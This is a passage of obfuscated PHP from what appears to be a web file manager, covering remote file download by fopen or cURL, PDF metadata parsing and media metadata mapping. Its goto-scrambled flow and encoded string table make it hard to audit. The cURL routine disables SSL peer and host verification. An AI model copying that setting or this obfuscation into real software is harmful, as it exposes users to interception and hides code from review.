goto e꘶; e꘶: if (!$D) { return array($eȋَ[1025] => !1, $eȋَ[1027] => $eȋَ[1030]); } if (!$Eƥѫ[$eȋَ[1275]] || $Eƥѫ[$eȋَ[330]] == 0) { @unlink($fʛŵ); @unlink($Fᯫ); $Bꤤ = self::fileDownloadFopen($D, $Fᯫ, $Eƥѫ[$eȋَ[330]]); if ($Bꤤ[$eȋَ[1025]]) { return $Bꤤ; } else { @unlink($fʛŵ); @unlink($Fᯫ); $Bꤤ = self::fileDownloadCurl($D, $Fᯫ, !1, 0, $Eƥѫ[$eȋَ[330]]); @unlink($fʛŵ); return $Bꤤ; } } $d߸ = is_file($fʛŵ) ? filesize($fʛŵ) : 0; goto bƛ; C»: if ($Bꤤ[$eȋَ[1025]]) { @unlink($Fٲ); } return $Bꤤ; goto bܐ; B؃: $eȋَ =& $_SERVER[ȦÆ]; if (!request_url_safe($D)) { return array($eȋَ[1025] => !1, $eȋَ[1027] => $eȋَ[1030]); } $Fٲ = $Fᯫ . $eȋَ[1485]; goto BîѴ; E̹: if (is_file($Fٲ)) { $d = file_get_contents($Fٲ); $d͇ = json_decode($d, 1); } if (file_exists($Fᯫ) && $CŖ == filesize($Fᯫ)) { @unlink($fʛŵ); @unlink($Fٲ); return array($eȋَ[1025] => !0, $eȋَ[1027] => $eȋَ[1488]); } if ($d͇[$eȋَ[330]] != $CŖ) { $d͇ = array($eȋَ[330] => $CŖ); } goto fºԊ; fºԊ: if ($d߸ > $CŖ) { @unlink($fʛŵ); } file_put_contents($Fٲ, json_encode($d͇)); $Bꤤ = self::fileDownloadCurl($D, $Fᯫ, !0, $d߸, $CŖ); goto C»; bƛ: $CŖ = intval($Eƥѫ[$eȋَ[330]]); if (file_exists($fʛŵ) && time() - filemtime($fʛŵ) < 3) { return array($eȋَ[1025] => !1, $eȋَ[1027] => $eȋَ[1487]); } $d͇ = array(); goto E̹; bܐ: } static function fileDownloadFopen($b⇜, $CƇ, $A = 0) { $A҅؇Ӯ =& $_SERVER[ȦÆ]; @ini_set($A҅؇Ӯ[1489], $A҅؇Ӯ[1490]); $a = $CƇ . $A҅؇Ӯ[1486]; set_timeout(); @unlink($a); if ($f = @fopen($b⇜, $A҅؇Ӯ[1491])) { goto d; A: return array($A҅؇Ӯ[1025] => !0, $A҅؇Ӯ[1027] => $A҅؇Ӯ[697]); goto bǑ; Fɐ: fclose($f); self::checkGzip($a); if (!@rename($a, $CƇ)) { usleep(round(rand(0, 1000) * 50)); @unlink($CƇ); $b = @rename($a, $CƇ); if (!$b) { return array($A҅؇Ӯ[1025] => !1, $A҅؇Ӯ[1027] => $A҅؇Ӯ[1495]); } } goto A; d: if (!($Eӵ = @fopen($a, $A҅؇Ӯ[1492]))) { return array($A҅؇Ӯ[1025] => !1, $A҅؇Ӯ[1027] => $A҅؇Ӯ[1493]); } while (!feof($f)) { if (!file_exists($a)) { fclose($Eӵ); return array($A҅؇Ӯ[1025] => !1, $A҅؇Ӯ[1027] => $A҅؇Ӯ[1494]); } clearstatcache(); if ($A > 0 && $A == filesize(iconv_system($a))) { break; } fwrite($Eӵ, fread($f, 1024 * 8), 1024 * 8); } fclose($Eӵ); goto Fɐ; bǑ: } else { return array($A҅؇Ӯ[1025] => !1, $A҅؇Ӯ[1027] => $A҅؇Ӯ[1496]); } } static function fileDownloadCurl($eŭ츼, $d, $Aϯ = false, $b஠ = 0, $C = 0) { goto B̜۠; Fø¬: curl_setopt($aޔ, CURLOPT_USERAGENT, $c΍[1490]); $Cň = curl_exec($aޔ); curl_progress_end($aޔ); goto dܚ; dܚ: curl_close($aޔ); fclose($a٬); $F = filesize(iconv_system($d͌)); goto cЇ甞; C: $a٬ = @fopen($d͌, $c΍[975]); if (!$a٬) { return array($c΍[1025] => !1, $c΍[1027] => $c΍[1497]); } $aޔ = curl_init($eŭ츼); goto d; d: if ($Aϯ) { curl_setopt($aޔ, CURLOPT_RANGE, $b஠ . $c΍[715]); } curl_setopt($aޔ, CURLOPT_FILE, $a٬); curl_setopt($aޔ, CURLOPT_REFERER, get_url_link($eŭ츼)); goto B; B: curl_setopt($aޔ, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_setopt($aޔ, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($aޔ, CURLOPT_SSL_VERIFYHOST, 0); goto AĿ; B̜۠: $c΍ =& $_SERVER[ȦÆ]; $d͌ = $d . $c΍[1486]; set_timeout(); goto C; AĿ: curl_setopt($aޔ, CURLOPT_NOPROGRESS, !1); curl_setopt($aޔ, CURLOPT_PROGRESSFUNCTION, $c΍[1498]); curl_progress_start($aޔ); goto Fø¬; cЇ甞: if ($F < $C && $C != 0) { return array($c΍[1025] => !1, $c΍[1027] => $c΍[1487]); } if ($Cň && filesize($d͌) != 0) { self::checkGzip($d͌); if (!@rename($d͌, $d)) { @unlink($d); $Cň = @rename($d͌, $d); if (!$Cň) { return array($c΍[1025] => !1, $c΍[1027] => $c΍[1499]); } } return array($c΍[1025] => !0, $c΍[1027] => $c΍[697]); } return array($c΍[1025] => !1, $c΍[1027] => $c΍[1500]); goto C; C: } static function checkGzip($eΌ) { goto dצ; B: ob_start(); readgzfile($eΌ); $D؈ = ob_get_clean(); goto eᒊ; dצ: $fɭ = $_SERVER[ȦÆ][1501]; $E = file_sub_str($eΌ, 0, 2); if ($fɭ != $E) { return; } goto B; eᒊ: file_put_contents($eΌ, $D؈); goto AÑ; AÑ: } } class FileParsePdf { public static function parse($Eʒ) { goto eÎě; eÎě: $D =& $_SERVER[ȦÆ]; $cϝ켾 = 32 * 1024; $c٦ = array($D[776] => fopen($Eʒ, $D[1155]), $D[85] => $Eʒ, $D[87] => filesize($Eʒ), $D[1502] => $cϝ켾); goto E웻θ; eܟԻ: if ($a[1] && $cۻ[$D[1510]] < $a[1][0]) { $cۻ[$D[1510]] = $a[1][0]; } $cۻ = self::parseInfoItem($cۻ); return $cۻ; goto e; a: if ($a) { $cۻ[$D[1319]] = $a[1]; } $cۻ[$D[1510]] = 0; $A = $D[1511]; goto b; C: $A = $D[1507]; preg_match($A, $c٦[$D[1503]], $a); if (!$cۻ[$D[1506]] && count($a) == 5) { $cۻ[$D[1506]] = $a[3]; $cۻ[$D[1508]] = $a[4]; } goto e; E웻θ: $c٦[$D[1503]] = StreamWrapperIO::read($Eʒ, 0, $cϝ켾); $c٦[$D[1504]] = StreamWrapperIO::read($Eʒ, $c٦[$D[87]] - $cϝ켾, $cϝ켾); $D窣 = self::decodeXref($c٦); goto cܳ炙; cܳ炙: if ($D窣) { $A = $D窣[$D[1505]][$D[1178]]; $cۻ = self::getObjectValue($c٦, $D窣, $A); } $cۻ = is_array($cۻ) ? $cۻ : array(); $cۻ[$D[1506]] = 0; goto C; e: preg_match($A, $c٦[$D[1504]], $a); if (!$cۻ[$D[1506]] && count($a) == 5) { $cۻ[$D[1506]] = $a[3]; $cۻ[$D[1508]] = $a[4]; } preg_match($D[1509], $c٦[$D[1503]], $a); goto a; b: preg_match_all($A, $c٦[$D[1503]], $a); if ($a[1] && $cۻ[$D[1510]] < $a[1][0]) { $cۻ[$D[1510]] = $a[1][0]; } preg_match_all($A, $c٦[$D[1504]], $a); goto eܟԻ; e: } private static function parseInfoItem($Fе) { $dǰݺ =& $_SERVER[ȦÆ]; if (!$Fе) { return !1; } $Bる = array($dǰݺ[1320] => array($dǰݺ[1512], $dǰݺ[43]), $dǰݺ[1513] => array($dǰݺ[1514], $dǰݺ[43]), $dǰݺ[193] => array($dǰݺ[1515], $dǰݺ[216]), $dǰݺ[116] => array($dǰݺ[1516], $dǰݺ[216]), $dǰݺ[1510] => array($dǰݺ[1510], $dǰݺ[281]), $dǰݺ[1506] => array($dǰݺ[1506], $dǰݺ[281]), $dǰݺ[1508] => array($dǰݺ[1508], $dǰݺ[281]), $dǰݺ[1517] => array($dǰݺ[1518], $dǰݺ[43]), $dǰݺ[1519] => array($dǰݺ[1520], $dǰݺ[43]), $dǰݺ[1521] => array($dǰݺ[1319], $dǰݺ[43])); $B㫽 = array(); foreach ($Bる as $cނ => $Cֱ۫) { if (!isset($Fе[$Cֱ۫[0]])) { continue; } $D߆е = $Fе[$Cֱ۫[0]]; if (!$D߆е || is_array($D߆е)) { continue; } switch ($Cֱ۫[1]) { case $dǰݺ[281]: $D߆е = intval($D߆е); break; case $dǰݺ[216]: if (substr($D߆е, 0, 2) == $dǰݺ[1522]) { $D߆е = substr($D߆е, 2, 14); } if (strtotime($D߆е)) { $D߆е = date($dǰݺ[1523], strtotime($D߆е)); } break; } $B㫽[$cނ] = $D߆е; } return $B㫽; } private static function decodeXref(&$E鸍н) { goto Eϕ; DĦ: if (preg_match($FݶЧᐧ[1536], $b, $f) > 0) { $Dұޅ[$FݶЧᐧ[1505]][$FݶЧᐧ[1178]] = intval($f[1]) . $FݶЧᐧ[80] . intval($f[2]); } if (preg_match($FݶЧᐧ[1537], $b, $f) > 0) { $Dұޅ[$FݶЧᐧ[1505]][$FݶЧᐧ[372]] = array(); $Dұޅ[$FݶЧᐧ[1505]][$FݶЧᐧ[372]][0] = $f[1]; $Dұޅ[$FݶЧᐧ[1505]][$FݶЧᐧ[372]][1] = $f[2]; } if (!$Dұޅ[$FݶЧᐧ[1505]][$FݶЧᐧ[1178]]) { return !1; } goto f; b: if (preg_match($FݶЧᐧ[1531], $b, $f) > 0) { $Dұޅ[$FݶЧᐧ[1505]][$FݶЧᐧ[87]] = intval($f[1]); } if (preg_match($FݶЧᐧ[1532], $b, $f) > 0) { $Dұޅ[$FݶЧᐧ[1505]][$FݶЧᐧ[1533]] = intval($f[1]) . $FݶЧᐧ[80] . intval($f[2]); } if (preg_match($FݶЧᐧ[1534], $b, $f) > 0) { $Dұޅ[$FݶЧᐧ[1505]][$FݶЧᐧ[1535]] = intval($f[1]) . $FݶЧᐧ[80] . intval($f[2]); } goto DĦ; f: if (preg_match($FݶЧᐧ[1538], $b, $f) > 0) { } return $Dұޅ; goto bՌ; aЬͻ: foreach ($f[3] as $d => $B҈) { if ($f[3][$d] == $FݶЧᐧ[1527]) { $dɭ = $f . $FݶЧᐧ[80] . intval($f[2][$d]); $Dұޅ[$FݶЧᐧ[1524]][$dɭ] = intval($f[1][$d]); ++$f; } else { if ($f[3][$d] == $FݶЧᐧ[1528]) { ++$f; } else { } } } if (preg_match_all($FݶЧᐧ[1529], $f, $f)) { $Eû = $E鸍н[$FݶЧᐧ[87]] - $E鸍н[$FݶЧᐧ[1502]]; foreach ($f[0] as $d => $A廰) { $B = $f[1][$d] . $FݶЧᐧ[80] . $f[2][$d]; $Dұޅ[$FݶЧᐧ[1524]][$B] = strpos($f, $A廰) + $Eû + 1; } } if (preg_match_all($FݶЧᐧ[1530], $f, $f)) { $b = count($f[1]) == 1 ? $f[1][0] : $f[1][1]; } else { $b = substr($f, -1024 * 5); } goto b; Eϕ: $FݶЧᐧ =& $_SERVER[ȦÆ]; $f = $E鸍н[$FݶЧᐧ[1504]]; $Dұޅ = array($FݶЧᐧ[1505] => array(), $FݶЧᐧ[1524] => array()); goto Dı; Cſ: if ($E鸍н[$FݶЧᐧ[87]] - $a݇ > $E鸍н[$FݶЧᐧ[1502]]) { $dʞ = 4 * $E鸍н[$FݶЧᐧ[1502]]; $E鸍н[$FݶЧᐧ[1502]] = $dʞ; $E鸍н[$FݶЧᐧ[1503]] = StreamWrapperIO::read($E鸍н[$FݶЧᐧ[85]], 0, $dʞ); $E鸍н[$FݶЧᐧ[1504]] = StreamWrapperIO::read($E鸍н[$FݶЧᐧ[85]], $E鸍н[$FݶЧᐧ[87]] - $dʞ, $dʞ); $f = $E鸍н[$FݶЧᐧ[1504]]; } $f = 0; preg_match_all($FݶЧᐧ[1526], $f, $f); goto aЬͻ; Dı: $F = $FݶЧᐧ[1525]; if (!preg_match_all($F, $f, $f, PREG_SET_ORDER, 0)) { return !1; } $a݇ = intval($f[0][1]); goto Cſ; bՌ: } private static function getObjectValue($D, $Bǖ, $fѶ) { goto D; Cە: if (!is_array($c[1])) { return array(); } $FƋʅ = array(); for ($a쉋 = 0; $a쉋 < count($c[1]); $a쉋 += 2) { $B݈ = $c[1][$a쉋]; $fӶƊ = $c[1][$a쉋 + 1]; if (count($B݈) == 3 && $B݈[0] == $BҒ[18]) { $eߎ = !1; if ($fӶƊ[0] == $BҒ[1539]) { $fӶƊ = self::getObject($D, $Bǖ[$BҒ[1524]][$fӶƊ[1]]); } $eߎ = $fӶƊ[1]; if ($eߎ === !1) { continue; } if (is_string($eߎ)) { $eߎ = self::decodeStr($eߎ); } $FƋʅ[$B݈[1]] = $eߎ; } } goto cڭ; D: $BҒ =& $_SERVER[ȦÆ]; $c = self::getObject($D, $Bǖ[$BҒ[1524]][$fѶ]); if (is_string($c[1])) { return $c[1]; } goto Cە; cڭ: return $FƋʅ; goto Cڦ; Cڦ: } private static function getObject($D؜, $Fə) { $cׅ = self::getObjectItem($D؜, $Fə); $cׅ = self::getObjectItem($D؜, $cׅ[2]); return $cׅ; } private static function getObjectItem($f⷏, $dŒ܎) { goto a֋Ī; a֋Ī: $cȕ =& $_SERVER[ȦÆ]; $bۖƌ = $f⷏[$cȕ[1502]]; $F = $f⷏[$cȕ[87]] - $bۖƌ; goto cѣ; DÅ: $Dח = self::getRawObject($Aѕ, $Eι); if ($dŒ܎ >= $F) { $Dח[2] = $Dח[2] + $F; } else { if ($dŒ܎ > $bۖƌ && $dŒ܎ <= $F) { $Dח[2] = $Dח[2] + $dŒ܎; } } return $Dח; goto B›; cѣ: $Eι = $dŒ܎ >= $F ? $dŒ܎ - $F : $dŒ܎; $Aѕ = $dŒ܎ >= $F ? $f⷏[$cȕ[1504]] : $f⷏[$cȕ[1503]]; if ($dŒ܎ > $bۖƌ && $dŒ܎ <= $F) { $Eι = 0; $Aѕ = StreamWrapperIO::read($f⷏[$cȕ[85]], $dŒ܎, $bۖƌ); } goto DÅ; B›: } private static function decodeStr($cὃ) { goto EԘ뵹; Aה: $cὃ = $C˸[43]; foreach ($b߾ as $fƙ֠) { if (preg_match($C˸[1549], $fƙ֠)) { $cὃ .= \chr(octdec(trim($fƙ֠, $C˸[103]))); } else { $cὃ .= $fƙ֠; } } $b߾ = preg_split($C˸[1550], $cὃ, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE); goto C; F: $cὃ = $C˸[43]; foreach ($b߾ as $fƙ֠) { if (preg_match($C˸[1554], $fƙ֠) && !1 === stripos($fƙ֠, $C˸[1555])) { $fƙ֠ = preg_replace($C˸[1556], $C˸[43], $fƙ֠); $fƙ֠ = trim($fƙ֠, $C˸[921]); $fƙ֠ = pack($C˸[1557], $fƙ֠); $cὃ .= $fƙ֠; } else { $cὃ .= $fƙ֠; } } if (preg_match($C˸[1558], $cὃ)) { $dˍ = substr($cὃ, 2); $cὃ = $C˸[43]; $cʨΦ = strlen($dˍ); for ($dѳ뺉 = 0; $dѳ뺉 < $cʨΦ; $dѳ뺉 += 2) { $fۏɾ = hexdec(bin2hex(substr($dˍ, $dѳ뺉, 2))); $cὃ .= mb_convert_encoding($C˸[1559] . intval($fۏɾ) . $C˸[77], $C˸[1560], $C˸[1561]); } } goto d; C: $cὃ = $C˸[43]; foreach ($b߾ as $fƙ֠) { if (preg_match($C˸[1551], $fƙ֠)) { $cὃ .= \chr(hexdec(trim($fƙ֠, $C˸[1552]))); } else { $cὃ .= $fƙ֠; } } $b߾ = preg_split($C˸[1553], $cὃ, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE); goto F; d: return $cὃ; goto eφ; EԘ뵹: $C˸ =& $_SERVER[ȦÆ]; $cὃ = str_replace(array($C˸[1540], $C˸[1541], $C˸[1542], $C˸[1543], $C˸[1544], $C˸[1545], $C˸[1546], $C˸[1547]), array($C˸[103], $C˸[60], $C˸[18], $C˸[253], $C˸[812], $C˸[12], $C˸[985], $C˸[335]), $cὃ); $b߾ = preg_split($C˸[1548], $cὃ, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE); goto Aה; eφ: } private static function getRawObject($D, $c숽 = 0) { goto A; fͪ: $c숽 += strspn($D, $eō[1562], $c숽); $d劕 = $D[$c숽]; switch ($d劕) { case $eō[1563]: $e޶ = strcspn($D, $eō[1564], $c숽); if ($e޶ > 0) { $c숽 += $e޶; return self::getRawObject($D, $c숽); } break; case $eō[18]: $aԎ = $d劕; ++$c숽; $Dފ = preg_match($eō[1565], substr($D, $c숽, 256), $D); if (1 == $Dފ) { $d»҇ = $D[1]; $c숽 += strlen($d»҇); } break; case $eō[253]: case $eō[812]: $aԎ = $d劕; ++$c숽; $a֕ = $c숽; if ($eō[253] == $d劕) { $F = 1; while ($F > 0) { if (!isset($D[$a֕])) { break; } $b = $D[$a֕]; switch ($b) { case $eō[103]: ++$a֕; break; case $eō[253]: ++$F; break; case $eō[812]: --$F; break; } ++$a֕; } $d»҇ = substr($D, $c숽, $a֕ - $c숽 - 1); $c숽 = $a֕; } break; case $eō[163]: case $eō[481]: $aԎ = $d劕; ++$c숽; if ($eō[163] == $d劕) { $d»҇ = array(); do { $d = $c숽; $d쉽 = self::getRawObject($D, $c숽); $c숽 = $d쉽[2]; $d»҇[] = $d쉽; } while ($eō[481] != $d쉽[0] && $c숽 != $d); array_pop($d»҇); } break; case $eō[920]: case $eō[923]: if (isset($D[$c숽 + 1]) && $D[$c숽 + 1] == $d劕) { $aԎ = $d劕 . $d劕; $c숽 += 2; if ($eō[920] == $d劕) { $d»҇ = array(); do { $d = $c숽; $d쉽 = self::getRawObject($D, $c숽); $c숽 = $d쉽[2]; $d»҇[] = $d쉽; } while ($eō[1566] != $d쉽[0] && $c숽 != $d); array_pop($d»҇); } } else { $aԎ = $d劕; ++$c숽; $Dފ = preg_match($eō[1567], substr($D, $c숽), $D); if ($eō[920] == $d劕 && 1 == $Dފ) { $d»҇ = strtr($D[1], $eō[1568], $eō[43]); $c숽 += \strlen($D[0]); } elseif (!1 !== ($aش = strpos($D, $eō[923], $c숽))) { $c숽 = $aش + 1; } } break; default: if ($eō[1569] == substr($D, $c숽, 6)) { $aԎ = $eō[1569]; $c숽 += 6; } elseif ($eō[109] == substr($D, $c숽, 4)) { $aԎ = $eō[109]; $c숽 += 4; $d»҇ = $eō[109]; } elseif ($eō[1570] == substr($D, $c숽, 4)) { $aԎ = $eō[1571]; $c숽 += 4; $d»҇ = $eō[1570]; } elseif ($eō[1572] == substr($D, $c숽, 5)) { $aԎ = $eō[1571]; $c숽 += 5; $d»҇ = $eō[1572]; } elseif ($eō[1573] == substr($D, $c숽, 6)) { $aԎ = $eō[1573]; $c숽 += 6; if (1 == preg_match($eō[1574], substr($D, $c숽), $D)) { $c숽 += strlen($D[0]); $a = $eō[1575]; $Dފ = preg_match($a, substr($D, $c숽), $D, PREG_OFFSET_CAPTURE); if (1 == $Dފ) { $d»҇ = substr($D, $c숽, $D[0][1]); $c숽 += $D[1][1]; } } } elseif ($eō[1576] == substr($D, $c숽, 9)) { $aԎ = $eō[1576]; $c숽 += 9; } elseif (1 == preg_match($eō[1577], substr($D, $c숽, 33), $D)) { $aԎ = $eō[1539]; $c숽 += strlen($D[0]); $d»҇ = intval($D[1]) . $eō[80] . intval($D[2]); } elseif (1 == preg_match($eō[1578], substr($D, $c숽, 33), $D)) { $aԎ = $eō[1579]; $d»҇ = intval($D[1]) . $eō[80] . intval($D[2]); $c숽 += strlen($D[0]); } elseif (($B˿ = strspn($D, $eō[1580], $c숽)) > 0) { $aԎ = $eō[1581]; $d»҇ = substr($D, $c숽, $B˿); $c숽 += $B˿; } break; } goto D¹; A: $eō =& $_SERVER[ȦÆ]; $aԎ = $eō[43]; $d»҇ = $eō[43]; goto fͪ; D¹: return array($aԎ, $d»҇, $c숽); goto C; C: } } class GetInfo { private static $fileTypeArray; public static function get($bʠ) { $e寓 = IO::info($bʠ); return self::infoAdd($e寓); } public static function infoAdd(&$E͈) { goto e뒄; aܹ: $F = $E͈[$DẾ[166]]; try { if ($E͈[$DẾ[166]] == $DẾ[1584]) { $aÆ = self::psdParse($aܭ); $F = $DẾ[1585]; } else { if ($E͈[$DẾ[166]] == $DẾ[1586]) { $aÆ = self::pdfParse($aܭ); } else { $F = self::$fileTypeArray[$DẾ[1587]][$E͈[$DẾ[166]]]; $F͡ = self::$fileTypeArray[$DẾ[1588]][$F][$DẾ[1589]]; $b = @$a҆->analyze($aܭ, $E͈[$DẾ[87]], $E͈[$DẾ[38]]); $aÆ = self::parseData($b, $F͡, $E͈); } } } catch (Exception $f좬) { $aÆ = array($DẾ[377] => $F); } if (!$aÆ) { return; } goto c; c: $aÆ[$DẾ[377]] = $F; $E͈[$DẾ[431]] = $aÆ; return $E͈; goto BѾ; c: if (!$E͈ || $E͈[$DẾ[39]] != $DẾ[173]) { return; } if (!self::support($E͈[$DẾ[166]]) || isset($E͈[$DẾ[431]])) { return; } $aܭ = $DẾ[1583] . $E͈[$DẾ[85]]; goto aܹ; e뒄: $DẾ =& $_SERVER[ȦÆ]; static $a҆; if (!$a҆) { require SDK_DIR . $DẾ[1582]; $a҆ = new getID3(); } goto c; BѾ: } public static function support($a퇦˘) { goto E箯; dق܇: return !1; goto b̤; E箯: $d” =& $_SERVER[ȦÆ]; if (!self::$fileTypeArray) { self::$fileTypeArray = self::fileTypeParse(); } $a퇦˘ = strtolower($a퇦˘); goto d״ҵ; d״ҵ: $e = array($d”[1586], $d”[1584]); if (in_array($a퇦˘, $e)) { return !0; } if (isset(self::$fileTypeArray[$d”[1587]][$a퇦˘])) { return !0; } goto dق܇; b̤: } private static function parseData($f, $C䒝, $BƵ) { $C =& $_SERVER[ȦÆ]; $cƚЏÿ = $f[$C[1590]]; $f噷 = array(); foreach ($C䒝 as $bΒ => $EƄ˸) { foreach ($EƄ˸ as $fԑ) { if (is_array($fԑ)) { $Eђ = self::parseData($f, $EƄ˸, $BƵ); if ($Eђ) { $f噷[$bΒ] = $Eђ; } break; } $Bۦ = str_replace($C[1365], $cƚЏÿ, $fԑ); $Eђ = _get($f, $Bۦ); $Eђ = is_array($Eђ) ? $Eђ[0] : $Eђ; if ($Eђ) { break; } } if ($Eђ || $Eђ === 0 || $Eђ === !1) { $Eђ = self::valueReset($fԑ, $Eђ, $bΒ); if ($Eђ !== null) { $f噷[$bΒ] = $Eђ; } } } $f噷 = self::valueResetAll($f噷, $BƵ); return $f噷; } private static function psdParse($D؋伖) { $Cݨ =& $_SERVER[ȦÆ]; if (IO::fileSubstr($D؋伖, 0, 4) != $Cݨ[1591]) { return !1; } $EΦ = getImageSize($D؋伖, $e); if (!$EΦ) { return; } $A = array($Cݨ[1506] => $EΦ[0], $Cݨ[1508] => $EΦ[1]); return $A; } private static function pdfParse($e) { return FileParsePdf::parse($e); } private static function fileTypeParse() { $f彂ִ =& $_SERVER[ȦÆ]; $E = self::fileTypeArray(); $Cԏ = array(); foreach ($E as $bÙ => $E) { $cɚ = _get($E, $f彂ִ[166], $f彂ִ[43]); $D섏 = is_string($cɚ) ? explode($f彂ִ[57], $cɚ) : $cɚ; if (!$D섏) { continue; } foreach ($D섏 as $cɚ) { $cɚ = strtolower(trim($cɚ)); if (!$cɚ) { continue; } $Cԏ[$cɚ] = $bÙ; } $E[$bÙ][$f彂ִ[166]] = array_keys($Cԏ); $E[$bÙ][$f彂ִ[1589]] = self::parseKeyMap($E[$f彂ִ[1589]]); } return array($f彂ִ[1588] => $E, $f彂ִ[1587] => $Cԏ); } private static function parseKeyMap($f݄) { $d̝ò =& $_SERVER[ȦÆ]; foreach ($f݄ as $Cμ => $B) { if (is_array($B)) { $B = self::parseKeyMap($B); if ($B) { $f݄[$Cμ] = $B; } continue; } $a = explode($d̝ò[57], $B); $Cǐ = array(); foreach ($a as $Eщ) { $Eщ = trim($Eщ); if (!$Eщ) { continue; } if (preg_match($d̝ò[1592], $Eщ, $Eƾ)) { $b拇 = explode($d̝ò[276], $Eƾ[1]); foreach ($b拇 as $bᣴ) { $Cǐ[] = str_replace($Eƾ[0], $bᣴ, $Eщ); } } else { $Cǐ[] = $Eщ; } } $f݄[$Cμ] = $Cǐ; } return $f݄; } private static function valueResetAll($BჄ, $B긔) { goto e뒯; e뒯: $c =& $_SERVER[ȦÆ]; if (isset($BჄ[$c[1593]])) { $C = ceil($BჄ[$c[1593]]); $a = intval($C / 3600); $eら = intval(($C - $a * 3600) / 60); $b윉 = $C % 60; $BჄ[$c[1594]] = sprintf($c[1595], $a, $eら, $b윉); if ($a == 0) { $BჄ[$c[1594]] = sprintf($c[1596], $eら, $b윉); } } $fŶ셆 = _get($BჄ, $c[1597]); goto Fևҏí; DՋ: $fɣ = _get($BჄ, $c[1605], $c[43]); $Cﶙ = $eק . $D . $fɣ; if ($Cﶙ && get_charset($Cﶙ) != $c[331]) { $BჄ[$c[1602]][$c[1320]] = iconv_to($BჄ[$c[1602]][$c[1320]], get_charset($Cﶙ), $c[331]); $BჄ[$c[1602]][$c[1606]] = iconv_to($BჄ[$c[1602]][$c[1606]], get_charset($Cﶙ), $c[331]); $BჄ[$c[1602]][$c[1607]] = iconv_to($BჄ[$c[1602]][$c[1607]], get_charset($Cﶙ), $c[331]); } goto F; Fևҏí: if ($fŶ셆) { $BҐ = IO_PATH_SYSTEM_TEMP . $c[1598] . KodIO::hashPath($B긔) . $c[1599]; $BჄ[$c[1600]] = Action($c[1601])->pluginCacheFileSet($BҐ, $fŶ셆); unset($BჄ[$c[1602]][$c[1585]]); } $eק = _get($BჄ, $c[1603], $c[43]); $D = _get($BჄ, $c[1604], $c[43]); goto DՋ; F: return $BჄ; goto a; a: } private static function valueReset($CޫɄ, $A̫, $Bڒپ) { $EǬ =& $_SERVER[ȦÆ]; $Fθ = $EǬ[1523]; switch ($CޫɄ) { case $EǬ[1608]: $A̫ = $A̫ == $EǬ[93] ? $EǬ[1609] : $EǬ[1610]; break; case $EǬ[1611]: $A̫ = $A̫ ? $A̫ : null; break; default: break; } switch ($Bڒپ) { case $EǬ[1612]: $A̫ = round($A̫, 2); break; case $EǬ[193]: case $EǬ[116]: if ($A̫ < 0) { $A̫ = null; } else { if (is_numeric($A̫)) { $A̫ = date($Fθ, $A̫); } } break; default: break; } return $A̫; } private static function fileTypeArray() { $Dڍɋ =& $_SERVER[ȦÆ]; return array($Dڍɋ[1585] => array($Dڍɋ[166] => $Dڍɋ[1613] . $Dڍɋ[1614], $Dڍɋ[1589] => array($Dڍɋ[1506] => $Dڍɋ[1615], $Dڍɋ[1508] => $Dڍɋ[1616], $Dڍɋ[1617] => $Dڍɋ[1618], $Dڍɋ[1619] => $Dڍɋ[1620], $Dڍɋ[193] => $Dڍɋ[1621], $Dڍɋ[116] => $Dڍɋ[1622], $Dڍɋ[1623] => $Dڍɋ[1624], $Dڍɋ[1625] => $Dڍɋ[1626], $Dڍɋ[1627] => $Dڍɋ[1628], $Dڍɋ[1629] => $Dڍɋ[1630], $Dڍɋ[1631] => $Dڍɋ[1632], $Dڍɋ[1633] => $Dڍɋ[1634], $Dڍɋ[1635] => $Dڍɋ[1636], $Dڍɋ[1637] => array($Dڍɋ[1638] => $Dڍɋ[1639], $Dڍɋ[1640] => $Dڍɋ[1641], $Dڍɋ[1642] => $Dڍɋ[1643]), $Dڍɋ[1644] => $Dڍɋ[1645], $Dڍɋ[1646] => $Dڍɋ[1647], $Dڍɋ[1648] => $Dڍɋ[1649], $Dڍɋ[1650] => $Dڍɋ[1651], $Dڍɋ[1652] => array($Dڍɋ[1653] => $Dڍɋ[1654], $Dڍɋ[1655] => $Dڍɋ[1656], $Dڍɋ[1657] => $Dڍɋ[1658], $Dڍɋ[1659] => $Dڍɋ[1660], $Dڍɋ[1661] => $Dڍɋ[1662], $Dڍɋ[1663] => $Dڍɋ[1664], $Dڍɋ[1665] => $Dڍɋ[1666], $Dڍɋ[1667] => $Dڍɋ[1668], $Dڍɋ[1669] => $Dڍɋ[1670], $Dڍɋ[1671] => $Dڍɋ[1672], $Dڍɋ[1673] => $Dڍɋ[1674]))), $Dڍɋ[1675] => array($Dڍɋ[166] => $Dڍɋ[1676] . $Dڍɋ[1677], $Dڍɋ[1589] => array($Dڍɋ[1593] => $Dڍɋ[1678], $Dڍɋ[193] => $Dڍɋ[1679], $Dڍɋ[116] => $Dڍɋ[1680], $Dڍɋ[1625] => $Dڍɋ[1681], $Dڍɋ[1682] => $Dڍɋ[1683], $Dڍɋ[1684] => $Dڍɋ[1611], $Dڍɋ[1685] => $Dڍɋ[1686], $Dڍɋ[1687] => $Dڍɋ[1688], $Dڍɋ[1689] => $Dڍɋ[1690], $Dڍɋ[1602] => array($Dڍɋ[1320] => $Dڍɋ[1691], $Dڍɋ[1606] => $Dڍɋ[1692], $Dڍɋ[1607] => $Dڍɋ[1693], $Dڍɋ[1694] => $Dڍɋ[1695], $Dڍɋ[1696] => $Dڍɋ[1697], $Dڍɋ[1698] => $Dڍɋ[1699], $Dڍɋ[1585] => $Dڍɋ[1700]))), $Dڍɋ[1701] => array($Dڍɋ[166] => $Dڍɋ[1702] . $Dڍɋ[1703], $Dڍɋ[1589] => array($Dڍɋ[1506] => $Dڍɋ[1704], $Dڍɋ[1508] => $Dڍɋ[1705], $Dڍɋ[1593] => $Dڍɋ[1678], $Dڍɋ[193] => $Dڍɋ[1706], $Dڍɋ[116] => $Dڍɋ[1707], $Dڍɋ[1612] => $Dڍɋ[1708], $Dڍɋ[1689] => $Dڍɋ[1709], $Dڍɋ[1685] => $Dڍɋ[1710], $Dڍɋ[1625] => $Dڍɋ[1711], $Dڍɋ[1675] => array($Dڍɋ[1684] => $Dڍɋ[1611], $Dڍɋ[1712] => $Dڍɋ[1713], $Dڍɋ[1682] 